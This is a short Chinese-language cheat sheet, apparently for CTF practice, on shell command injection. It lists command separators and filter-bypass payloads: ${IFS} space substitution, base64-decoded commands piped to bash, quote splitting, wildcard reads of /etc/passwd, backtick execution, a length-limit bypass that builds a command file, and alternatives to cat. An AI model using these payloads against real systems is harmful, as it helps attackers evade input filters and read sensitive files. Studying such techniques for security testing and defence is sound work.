|  |  |  |
| --- | --- | --- |
| echo 1 ;echo 2 | 无论第一个命令是否执行成功，第二个命令都会执行 | 1 2 |
| echo 1 && echo 2 | 第一个命令执行成功后才执行第二个命令 | 1 2 |
| echo 1 & echo 2 | 并行执行 | 2 1 |
| echo 1 | echo 2 | 都执行 | 2 |
| echo 1 || echo 2 | 只有当前一个命令执行失败后，才会执行后一个命令 | 1 |
| #注释 |  |  |
| Linux 空格过滤 | ${IFS} 、 ${IFS}$1 、$IFS$1 、<> 、 < |  |
| php 空格过滤 | %09 |  |
| 拼接 | a=c;b=at;c=1;$a$b $c.txt | cat 1.txt |
| Base64 | echo "Y2F0IDEudHh0"|base64 -d|bash |  |
| 匹配绕过 | c''a\t 1$@.$1tx""t | "" '' \ $1 $@ |
| 通配符绕过 | cat 1.?xt 、 cat /et?/pas?wd |  |
| 内敛执行绕过 | echo `whoami` |  |
| 绕过长度限制 | echo "ca\\">cmd  echo "t\\">>cmd  echo " fl\\">>cmd  echo "ag">>cmd  sh cmd |  |
| cat下位 | more:一页一页的显示档案内容  less:可以pgdn pgup翻页  head:查看头几行  tac:从最后一行开始显示  tail:查看尾几行  nl：显示的时候，顺便输出行号  od:以二进制的方式读取档案内容  vi vim  sort  uniq  file -f:报错出具体内容 | 红色是有交互 |